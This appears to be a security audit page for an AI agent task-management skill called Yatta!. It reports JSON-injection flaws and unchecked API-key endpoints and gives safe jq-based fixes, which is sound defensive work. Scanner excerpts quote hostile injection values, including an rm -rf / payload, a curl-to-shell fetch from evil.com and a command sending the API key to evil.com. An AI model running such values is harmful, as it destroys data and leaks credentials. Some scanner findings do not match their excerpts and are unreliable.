Back to skill

Security audit

Yatta! - Task & Capacity Management

Security checks for vulnerabilities and agentic risk

Overview

The skill is mostly transparent about managing a Yatta account, but it includes unsafe authenticated API examples and weak endpoint enforcement around a full-access API key.

Review before installing. Use only a verified Yatta API endpoint, prefer the documented Supabase default, rotate the API key if endpoint configuration may have been exposed, and do not copy the unsafe email-import or API reference snippets until they are rewritten with jq-built JSON and URL-encoded identifiers. Treat all create, update, batch, archive, calendar sync, and comment-delete actions as account-changing operations that require explicit confirmation.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (3)

T09 · Insecure Skill Coding Practices

Error
Location
SKILL.md:884
Finding

Unsafe interpolation of untrusted email content into an authenticated JSON request

Content
View full analysis

Vulnerability Details

File Location: SKILL.md:884-897
Vulnerability Type: JSON injection through direct shell-variable interpolation
Risk Level: High

Vulnerable Code

bash
#!/bin/bash
# Extract email subject and body
SUBJECT="$1"
BODY="$2"

curl -s "$YATTA_API_URL/tasks" \
  -H "Authorization: Bearer $YATTA_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "title": "'"$SUBJECT"'",
    "description": "'"$BODY"'",
    "priority": "medium",
    "import_source": "email"
  }' \
  | jq -r '"Task created: \(.title)"'

Technical Analysis

The example inserts SUBJECT and BODY directly into a JSON string. Neither value is escaped according to JSON syntax. A value containing quotation marks, commas, braces, or additional properties can terminate the intended string and alter the request object.

This contradicts the Skill's earlier assertion that all variable-bearing JSON payloads are built using jq -n --arg. Shell quoting does not provide JSON escaping. Because the request is authenticated with YATTA_API_KEY, the injected payload is submitted with the user's full Yatta account privileges.

For example, an attacker-controlled subject could attempt to close the title value and inject additional task properties. Even when the resulting payload is rejected, crafted input can reliably corrupt task creation and cause denial of service in email-import workflows.

Attack Path

  1. A user adopts the documented “Create Task from Email” script.
  2. An attacker sends an email containing crafted JSON syntax in its subject or body.
  3. The email-processing workflow passes the attacker-controlled values as the script's arguments.
  4. The script concatenates those values directly into the JSON request body.
  5. The resulting request contains malformed or attacker-modified fields.
  6. curl sends the payload to the API using the victim's full-access bearer token.
  7. If accepted by the API, a task is created with unintended properties ...[truncated 663 chars]
Remediation
View remediation

Remediation Suggestions

Construct the entire payload with jq, passing every untrusted string through --arg:

bash
#!/bin/bash
set -euo pipefail

SUBJECT="${1:?Email subject is required}"
BODY="${2:?Email body is required}"

PAYLOAD=$(jq -n \
  --arg title "$SUBJECT" \
  --arg description "$BODY" \
  --arg priority "medium" \
  --arg import_source "email" \
  '{
    title: $title,
    description: $description,
    priority: $priority,
    import_source: $import_source
  }')

curl --fail-with-body --silent --show-error \
  "$YATTA_API_URL/tasks" \
  -H "Authorization: Bearer $YATTA_API_KEY" \
  -H "Content-Type: application/json" \
  --data-binary "$PAYLOAD" \
  | jq -r '"Task created: \(.title)"'

Also:

  1. Add automated tests using quotes, backslashes, newlines, braces, and Unicode in both fields.
  2. Remove the claim that all examples are safe until every example has been reviewed.
  3. Apply length and schema validation before submitting email-derived content.
  4. Avoid automatically processing untrusted email into state-changing API calls without explicit user approval.

T09 · Insecure Skill Coding Practices

Error
Location
API-REFERENCE.md:64
Finding

API reference demonstrates unsafe JSON construction and unencoded identifiers

Content
View full analysis

Vulnerability Details

File Location: API-REFERENCE.md:64-170 and additional repeated examples at lines 247, 342, 448, 473, 851-888
Vulnerability Type: JSON injection, unsafe shell argument construction, and URL path manipulation
Risk Level: High

Vulnerable Code

Representative affected examples include:

bash
curl -s "$YATTA_API_URL/tasks/$TASK_ID" \
  -H "Authorization: Bearer $YATTA_API_KEY"
bash
curl -s -X PUT "$YATTA_API_URL/tasks" \
  -H "Authorization: Bearer $YATTA_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{"id":"'$TASK_ID'","status":"done"}'
bash
curl -s -X DELETE "$YATTA_API_URL/tasks" \
  -H "Authorization: Bearer $YATTA_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{"id":"'$TASK_ID'"}'

Other repeated unsafe constructions identified during the audit include:

bash
-d '{"id":"'$PROJECT_ID'","name":"New Name"}'
bash
-d '{"task_id":"'$TASK_ID'","context_ids":["'$CONTEXT_ID'"]}'
bash
-d '{"id":"'$COMMENT_ID'","content":"Updated text"}'
bash
-d '{"ids":'$IDS',"priority":"high"}'

Technical Analysis

The JSON examples terminate a single-quoted shell string, expand a variable without JSON encoding, and resume the single-quoted string. This creates two related problems:

  1. The expanded value is not escaped for JSON, allowing quotation marks and JSON delimiters to modify or invalidate the object.
  2. The variable expansion is not consistently shell-quoted, allowing word splitting and pathname expansion to alter the arguments passed to curl.

The raw $IDS example is especially dangerous because it intentionally treats a variable as JSON syntax. If the value is generated from untrusted or insufficiently validated input, it can add arbitrary properties to a batch update.

Identifiers inserted directly into URL paths are not URL-encoded. While shell metacharacters contained inside a quoted variable are not automatically re-evaluated as shell commands, res ...[truncated 1749 chars]

Remediation
View remediation

Remediation Suggestions

Replace every variable-bearing JSON example with jq -n. For example:

bash
TASK_ID="${TASK_ID:?Task ID is required}"

PAYLOAD=$(jq -n \
  --arg id "$TASK_ID" \
  --arg status "done" \
  '{id: $id, status: $status}')

curl --fail-with-body --silent --show-error \
  -X PUT "$YATTA_API_URL/tasks" \
  -H "Authorization: Bearer $YATTA_API_KEY" \
  -H "Content-Type: application/json" \
  --data-binary "$PAYLOAD"

For arrays, require a validated JSON array and use --argjson only after checking its type:

bash
if ! jq -e 'type == "array" and all(.[]; type == "string")' \
  <<< "$IDS" >/dev/null; then
  echo "IDS must be a JSON array of strings" >&2
  exit 1
fi

PAYLOAD=$(jq -n \
  --argjson ids "$IDS" \
  --arg priority "high" \
  '{ids: $ids, priority: $priority}')

URL-encode every path and query value:

bash
TASK_ID_ENCODED=$(printf '%s' "$TASK_ID" | jq -sRr @uri)

curl --fail-with-body --silent --show-error \
  "$YATTA_API_URL/tasks/$TASK_ID_ENCODED" \
  -H "Authorization: Bearer $YATTA_API_KEY"

Additionally:

  1. Update all repeated examples, not only the representative locations.
  2. Validate identifiers against the expected UUID format where applicable.
  3. Use the safe wrapper as the canonical implementation rather than duplicating commands.
  4. Add linting or tests that reject direct variable interpolation in JSON examples.
  5. Require explicit confirmation before destructive and batch operations.

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/yatta-safe-api.sh:20
Finding

Full-access bearer token can be transmitted to an unvalidated configurable endpoint

Content
View full analysis

Vulnerability Details

File Location: scripts/yatta-safe-api.sh:20-27,87-296; verification weakness at scripts/verify-endpoint.sh:10,122-132
Vulnerability Type: Credential exfiltration through unrestricted API destination configuration
Risk Level: Medium

Vulnerable Code

The wrapper only checks whether the URL and key are non-empty:

bash
if [[ -z "${YATTA_API_URL:-}" ]]; then
  echo "Error: YATTA_API_URL environment variable not set" >&2
  exit 1
fi

if [[ -z "${YATTA_API_KEY:-}" ]]; then
  echo "Error: YATTA_API_KEY environment variable not set" >&2
  exit 1
fi

It then sends the bearer token to that URL:

bash
curl -s "$YATTA_API_URL/tasks" \
  -H "Authorization: Bearer $YATTA_API_KEY" \
  -H "Content-Type: application/json" \
  -d "$payload"

The same pattern is repeated throughout the wrapper for task, project, context, and comment operations.

The endpoint verification script recognizes unexpected hosts but only emits a warning:

bash
if [[ "$HOST" == "zunahvofybvxpptjkwxk.supabase.co" ]]; then
  echo "✅ This is the official Yatta! production API endpoint"
  echo ""
  echo "   Safe to use with your YATTA_API_KEY."
else
  echo "⚠️  This endpoint does not match the expected Yatta! production URL"
  echo ""
  echo "   Expected: zunahvofybvxpptjkwxk.supabase.co"
  echo "   Current:  $HOST"
  echo ""
  echo "   If you intentionally set a custom YATTA_API_URL, verify it's correct."
  echo "   If not, check your environment variables."
fi

Technical Analysis

YATTA_API_URL controls the destination receiving the Authorization: Bearer header. The wrapper accepts any non-empty value and does not enforce HTTPS, validate the parsed origin, or restrict the host to the documented Yatta endpoint.

The separate verification script is informational. It does not produce an authorization artifact consumed by the wrapper, and it exits successfully after warning about a mismatched endpoint. Consequently, runnin ...[truncated 1792 chars]

Remediation
View remediation

Remediation Suggestions

Enforce the expected HTTPS origin before any authenticated request:

bash
DEFAULT_YATTA_API_URL="https://zunahvofybvxpptjkwxk.supabase.co/functions/v1"
YATTA_API_URL="${YATTA_API_URL:-$DEFAULT_YATTA_API_URL}"

case "$YATTA_API_URL" in
  "https://zunahvofybvxpptjkwxk.supabase.co/functions/v1" | \
  "https://zunahvofybvxpptjkwxk.supabase.co/functions/v1/" )
    ;;
  *)
    echo "Refusing to send YATTA_API_KEY to an untrusted endpoint" >&2
    exit 1
    ;;
esac

For robust validation:

  1. Parse the URL with a dedicated URL parser rather than sed and cut.
  2. Require the https scheme.
  3. Compare the normalized hostname exactly, not with suffix or substring matching.
  4. Reject URL user information, unexpected ports, fragments, and ambiguous encoded hostnames.
  5. Restrict the allowed path prefix.
  6. Configure curl with --proto '=https' and consider --proto-redir '=https'.
  7. Treat redirects carefully so authorization is never forwarded to an unintended origin.
  8. Make custom endpoints an explicit opt-in requiring a separate key or allowlist entry.
  9. Integrate validation into every authenticated wrapper invocation rather than relying on a separate advisory script.
  10. Make verify-endpoint.sh exit nonzero when the endpoint is not recognized.
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Memory PoisoningPersistent Context Injection, Context Window Stuffing, Memory Manipulation
Findings (58)

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
80% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · API-REFERENCE.md (reported line 161)May include surrounding context.

md
#### 6. Archive Task (Destructive) ⚠️

**Endpoint:** `DELETE /tasks`

**Purpose:** Archive (soft-delete) a task

Memory Manipulation

High
Category
Memory Poisoning
Confidence
80% confidence
Finding

Skill manipulates agent memory, state, or stored context. Memory corruption can alter personality, override safety rules, or cause unpredictable behavior.

Content

Scanner excerpt · API-REFERENCE.md (reported line 327)May include surrounding context.

md
**Optional Fields:** `color`, `icon`

**Undo:** Delete context (not implemented in API yet)

---

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
80% confidence
Finding

This skill documents a permanent delete operation for comments, and unlike archival operations it has no recovery path. In an agent context, exposing destructive endpoints without a mandatory confirmation or policy gate increases the risk of unintended irreversible data loss, especially if the agent maps natural-language requests directly into API calls.

Content

Scanner excerpt · API-REFERENCE.md (reported line 464)May include surrounding context.

md
#### 4. Delete Comment (Destructive) ⚠️

**Endpoint:** `DELETE /task-comments`

**Purpose:** Remove comment from task

Self-Modification

High
Category
Rogue Agent
Confidence
85% confidence
Finding

Skill modifies its own code, configuration, or behavior at runtime. Self-modification enables an agent to escalate privileges, disable safety constraints, or install persistent backdoors.

Content

Scanner excerpt · SECURITY-ASSESSMENT-ISSUE-17.md (reported line 374)May include surrounding context.

md
### For Users

**Migration to v0.2.0:**
1. Update skill: `clawhub update openclaw-yatta-skill`
2. Review SECURITY.md for vulnerability understanding
3. Update any custom scripts to use safe jq patterns
4. Run `bash scripts/verify-endpoint.sh` to verify endpoint

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · SECURITY.md (reported line 55)May include surrounding context.

bash
SUBJECT="user-controlled-value"
curl -d "{\"subject\": \"$SUBJECT\"}" ...

Attack Scenario

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
90% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · SECURITY.md (reported line 93)May include surrounding context.

bash
# Attacker sets TASK_ID to:
TASK_ID='$(rm -rf /)'

# Or:
TASK_ID='`curl evil.com/malware.sh | sh`'

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
85% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · SECURITY.md (reported line 93)May include surrounding context.

bash
# Attacker sets TASK_ID to:
TASK_ID='$(rm -rf /)'

# Or:
TASK_ID='`curl evil.com/malware.sh | sh`'

Intent-Code Divergence

High
Category
Not specified by scanner
Confidence
99% confidence
Finding

The skill explicitly claims that all examples use safe jq-based JSON construction, but the later 'Create Task from Email' example directly interpolates shell variables into a JSON literal. That mismatch is dangerous because users are likely to trust the security guidance and copy a pattern that allows shell/JSON injection via crafted subject or body content, potentially leading to malformed requests, secret leakage, or command execution in surrounding shell contexts.

Content

No source excerpt is available for this finding.

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 186)May include surrounding context.

md
**See [SECURITY.md](SECURITY.md) for:**

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · API-REFERENCE.md (reported line 35)May include surrounding context.

Network Call:

bash
curl -s "$YATTA_API_URL/tasks?status=todo&priority=high" \
  -H "Authorization: Bearer $YATTA_API_KEY"

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · CHANGELOG.md (reported line 88)May include surrounding context.

md
**Impact:** Remote Code Execution (RCE) risk, API key exfiltration

**Changes:**
- ✅ Replaced ALL unsafe curl examples with jq-based safe patterns
- ✅ Added comprehensive SECURITY.md documentation
- ✅ Created `scripts/yatta-safe-api.sh` with reusable safe wrapper functions
- ✅ Added prominent "Security: Input Validation" section to SKILL.md

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · README.md (reported line 96)May include surrounding context.

bash
# All tasks
curl -s "$YATTA_API_URL/tasks" \
  -H "Authorization: Bearer $YATTA_API_KEY"

# Filter by priority

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · SECURITY-ASSESSMENT-ISSUE-15.md (reported line 3)May include surrounding context.

md
# Security Assessment: Issue #15 - Shell and JSON Injection Fix

**Issue:** #15 - CRITICAL: Shell and JSON injection vulnerability in curl examples  
**Date:** 2026-02-28  
**Commit:** fedb03c  
**Scope:** SKILL.md examples, SECURITY.md documentation, scripts/yatta-safe-api.sh

Autonomous Decision Making

Medium
Category
Excessive Agency
Confidence
85% confidence
Finding

Skill enables autonomous high-impact decisions without human-in-the-loop verification. Critical operations (destructive commands, financial transactions, data deletion) should require explicit user confirmation.

Content

Scanner excerpt · SECURITY-ASSESSMENT-ISSUE-15.md (reported line 104)May include surrounding context.

md
**Changes:**
- Documentation and examples only
- Safe wrapper script is user-sourced (not auto-executed)
- No persistence mechanisms added
- No privilege escalation

Autonomous Decision Making

Medium
Category
Excessive Agency
Confidence
85% confidence
Finding

Skill enables autonomous high-impact decisions without human-in-the-loop verification. Critical operations (destructive commands, financial transactions, data deletion) should require explicit user confirmation.

Content

Scanner excerpt · SECURITY-ASSESSMENT-ISSUE-16.md (reported line 182)May include surrounding context.

md
**Changes:**
- Documentation and examples only
- Safe wrapper script is user-sourced (not auto-executed)
- No persistence mechanisms added
- No privilege escalation

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · SECURITY-ASSESSMENT-ISSUE-15.md (reported line 152)May include surrounding context.

bash
# SAFE
TASK_ID_ENCODED=$(printf %s "$TASK_ID" | jq -sRr @uri)
curl "$API_URL/tasks/$TASK_ID_ENCODED"

# Attack blocked: Special characters become %3B%20 etc

Sudo/Root Execution

Medium
Category
Privilege Escalation
Confidence
60% confidence
Finding

Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.

Content

Scanner excerpt · SECURITY-ASSESSMENT-ISSUE-16.md (reported line 180)May include surrounding context.

md
**What it does NOT do:**
- ❌ Does not send API keys anywhere
- ❌ Does not modify system configuration
- ❌ Does not require elevated privileges
- ❌ Does not auto-execute on install

Autonomous Decision Making

Medium
Category
Excessive Agency
Confidence
75% confidence
Finding

Skill enables autonomous high-impact decisions without human-in-the-loop verification. Critical operations (destructive commands, financial transactions, data deletion) should require explicit user confirmation.

Content

Scanner excerpt · SECURITY-ASSESSMENT-ISSUE-16.md (reported line 244)May include surrounding context.

md
- ✅ Branded URL roadmap documented

**Scanner would likely reassess:**
- Before: SUSPICIOUS (opaque URL, no verification)
- After: BENIGN (documented + verifiable)

---

Sudo/Root Execution

Medium
Category
Privilege Escalation
Confidence
70% confidence
Finding

Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.

Content

Scanner excerpt · SECURITY-ASSESSMENT-ISSUE-16.md (reported line 109)May include surrounding context.

md
**Privilege:**
- Normal user permissions (unchanged)
- No sudo or elevated access
- No system-level changes

**Verdict:** BENIGN - No privilege impact

Sudo/Root Execution

Medium
Category
Privilege Escalation
Confidence
70% confidence
Finding

Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.

Content

Scanner excerpt · SECURITY-ASSESSMENT-ISSUE-17.md (reported line 105)May include surrounding context.

md
**Privilege:**
- Normal user permissions (unchanged)
- No sudo or elevated access
- No system-level changes

**Verdict:** BENIGN - No privilege impact

Sudo/Root Execution

Medium
Category
Privilege Escalation
Confidence
70% confidence
Finding

Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.

Content

Scanner excerpt · SECURITY-ASSESSMENT-v0.2.0.md (reported line 143)May include surrounding context.

md
**Privilege:**
- Normal user permissions (unchanged)
- No sudo or elevated access
- No system-level changes

**Verdict:** BENIGN - No privilege impact

Autonomous Decision Making

Medium
Category
Excessive Agency
Confidence
75% confidence
Finding

Skill enables autonomous high-impact decisions without human-in-the-loop verification. Critical operations (destructive commands, financial transactions, data deletion) should require explicit user confirmation.

Content

Scanner excerpt · SECURITY-ASSESSMENT-ISSUE-17.md (reported line 178)May include surrounding context.

❌ Autonomous (NOT allowed):

text
User: "I should probably archive old tasks"
Agent: *silently archives tasks without confirmation*

✅ Manual (Required):

Autonomous Decision Making

Medium
Category
Excessive Agency
Confidence
75% confidence
Finding

Skill enables autonomous high-impact decisions without human-in-the-loop verification. Critical operations (destructive commands, financial transactions, data deletion) should require explicit user confirmation.

Content

Scanner excerpt · SKILL.md (reported line 227)May include surrounding context.

❌ Autonomous (NOT allowed):

text
User: "I should probably archive old tasks"
Agent: *silently archives tasks without confirmation*

✅ Manual (Required):

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · SECURITY-ASSESSMENT-v0.2.0.md (reported line 111)May include surrounding context.

md
**Before v0.2.0:**
- Unsafe examples → credential exposure risk
- Shell injection: `TASK_ID="123; curl evil.com/steal?key=$YATTA_API_KEY"`
- Opaque endpoint → trust gap
- Users might copy-paste vulnerable patterns

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · SECURITY-ASSESSMENT-v0.2.0.md (reported line 174)May include surrounding context.

bash
# SAFE - URL encoded
TASK_ID_ENCODED=$(printf %s "$TASK_ID" | jq -sRr @uri)
curl "$API_URL/tasks/$TASK_ID_ENCODED"

# SAFE - jq construction
PAYLOAD=$(jq -n --arg title "$TITLE" '{title: $title}')

Static analysis

No suspicious patterns detected.